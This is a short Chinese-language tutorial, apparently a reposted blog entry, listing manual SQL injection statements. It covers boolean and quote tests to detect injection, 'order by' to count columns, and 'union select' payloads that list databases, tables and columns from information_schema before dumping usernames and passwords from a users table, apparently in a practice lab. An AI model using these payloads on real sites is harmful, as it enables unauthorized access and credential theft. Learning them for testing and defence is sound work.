SQL注入手工注入常用的语句
判斷是否存在注入
- and 1=1 / and 1=2 回顯頁面不同(整形判斷)
輸入and 1=1和and 1=2后發現頁面沒有變化,判斷不是整型注入
輸入’ and 1=1 %23和 ’ and 1=2%23后發現頁面變化,判斷為字符注入
在數據庫中 1=1 和1=2 后面隨便輸入字符串(相當于1=1和1=2后面的查詢語句),發現select 1="1dasd"時返回1正確,1="2dasd"時返回0錯誤,即select在查詢時忽略后面的字符串,只讓1和后面第一個數字對比,如果相等就是正確,不相等返回錯誤。 - 單引號判斷‘ 顯示數據庫錯誤信息或者頁面回顯不同(整形,字符串類型判斷)
判斷有多少列
- order by n
order by 函數是對MySQL中查詢結果按照指定字段名進行排序,除了指定字 段名還可以指定字段的欄位進行排序,第一個查詢字段為1,第二個為2,依次 類推。我們可以通過二分法來猜解列數
判斷數據顯示點
- union select 1,2,3, N
UNION的作用是將兩個select查詢結果合并
程序在展示數據的時候通常只會取結果集的第一行數據,只要讓第一行查詢的結果是空集,即union左邊的select子句查詢結果為空,那么union右邊的查詢結果自然就成為了第一行,打印在網頁上了
查看數據庫基本信息
- 獲取所有數據庫名:group_concat()一次性顯示:
select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
- 顯示當前數據庫:
union select 1,version(),database()
- 獲取表名
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema= ‘security’
- 獲取列名
union select 1,2,group_concat(column_name) from information_schema.columns where table_name= ‘users’
- 查看賬號密碼信息
union select 1,2,group_concat(username),group_concat(password)from users
- 獲取列中的信息
select * from yourtablename limit 2,4;
總結
以上是生活随笔為你收集整理的SQL注入手工注入常用的语句的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: HTTP之请求方法
- 下一篇: 使用SQLmap对dvwa进行SQL注入